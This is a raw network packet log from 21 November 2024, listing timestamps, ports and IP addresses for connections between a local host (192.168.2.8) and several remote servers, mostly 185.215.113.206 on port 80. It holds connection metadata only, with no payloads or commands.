Nov 21, 2024 19:58:47.444606066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.445161104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.445272923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.445281029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.445382118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.445983887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.445990086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.446041107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.446563959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.446626902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.446655035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.446723938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.447310925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.447377920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.447392941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.447494984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.447983980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.448039055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.448050022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.448131084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.448760033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.448817015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.448853016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.448894024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.449364901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.449424982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.449428082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.449507952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.450076103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.450155020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.450185061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.450261116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.450762033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.450819016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.450850964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.451009989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.451452017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.451527119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.451586962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.451643944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.452178955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.452248096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.452272892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.452333927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.452893972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.452955008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.453047037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.453100920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.453578949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.453636885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.453649998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.453728914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.454282045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.454334021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.454384089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.454449892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.455173016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.455225945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.455250978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.455291033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.455699921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.455745935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.455791950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.455914974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.456360102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.456415892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.456480980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.456530094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.457087040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.457155943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.457182884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.457225084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.457777023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.457832098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.457895041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.457942963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.458476067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.458544016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.458574057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.458673954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.459310055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.459364891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.459372044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.459445000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.538733006 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538759947 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538767099 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538789988 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538811922 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538870096 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.538870096 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.538886070 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.538995981 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.584791899 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584829092 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584841013 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584860086 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584897995 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.584903002 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584949970 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.584975958 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.584975958 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.585016966 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.618838072 CET	443	49793	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.618942976 CET	443	49793	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.619014978 CET	49793	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:47.619561911 CET	49793	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:47.619580030 CET	443	49793	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.633476019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.633574963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.633663893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.633721113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.633771896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.633847952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.633899927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.634573936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.634681940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.634689093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.634733915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.635277987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.635381937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.635406017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.635536909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.635740995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.636226892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.636261940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.636287928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.636323929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.636842012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.636912107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.636938095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.637162924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.637499094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.637552977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.637658119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.637727976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.638240099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.638322115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.638377905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.638906002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.638971090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.638997078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.639065027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.639605999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.639650106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.639678001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.639695883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.640364885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.640423059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.640439034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.640542984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.641005039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.641055107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.641140938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.641196966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.641748905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.641805887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.641839981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.641906023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.642565012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.642633915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.642669916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.642685890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.643270016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.643332005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.643398046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.643444061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.643832922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.643893003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.644005060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.644048929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.644573927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.644623041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.644627094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.644670010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.645234108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.645293951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.645440102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.645510912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.645993948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.646064997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.646189928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.646604061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.646660089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.646739006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.646861076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.647455931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.647526026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.647629976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.647728920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.648032904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.648041964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.648092985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.648698092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.648765087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.687726021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:47.728764057 CET	49800	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:47.728801012 CET	443	49800	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:47.728882074 CET	49800	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:47.729099035 CET	49800	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:47.729115009 CET	443	49800	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:47.730125904 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.730149031 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.730228901 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.730228901 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.730246067 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.730410099 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.775821924 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.775871038 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.775911093 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.775933027 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.775949955 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.775975943 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.776150942 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.776170015 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.776210070 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.776225090 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.776257992 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.776504993 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.864378929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:47.892510891 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.892545938 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.892625093 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.892642975 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.892671108 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.892692089 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.905838966 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.905890942 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.905940056 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.905956030 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.905971050 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.906155109 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.917426109 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.917515039 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.917573929 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.917573929 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.917921066 CET	49790	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.917937040 CET	443	49790	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.939905882 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.939933062 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.939951897 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.940009117 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:47.940025091 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:47.940138102 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:47.952732086 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.952769995 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.952819109 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.952860117 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:47.952879906 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:47.952905893 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.000629902 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.000643969 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.000765085 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.000778913 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.000828028 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.032418013 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.032452106 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.032655001 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.032664061 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.032792091 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.063548088 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.063597918 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.063646078 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.063653946 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.063669920 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.063692093 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.134599924 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.134622097 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.134675980 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.134691954 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.134715080 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.134778976 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.149209976 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.149290085 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.149323940 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.149343014 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.149354935 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.149386883 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.166526079 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.166542053 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.166620970 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.166630030 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.166698933 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.179480076 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.179496050 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.179655075 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.179672003 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.180167913 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.182755947 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.182775974 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.182816982 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.182827950 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.182841063 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.182868958 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.195955992 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.196000099 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.196043015 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.196075916 CET	443	49791	13.107.246.63	192.168.2.8
Nov 21, 2024 19:58:48.196105003 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.196125031 CET	49791	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:58:48.201271057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.201323986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.201431036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.201699018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.201801062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.201908112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.202395916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.202405930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.202486992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.203196049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.203229904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.203269958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.203304052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.203668118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.203772068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.203836918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.204406023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.204448938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.204518080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.205080032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.205144882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.205224991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.205406904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.205775023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.205832005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.205904007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.206538916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.206898928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.206967115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.207264900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.207341909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.207353115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.207904100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.207957983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.207977057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.208180904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.208605051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.208725929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.208769083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.208795071 CET	49746	80	192.168.2.8	185.215.113.206
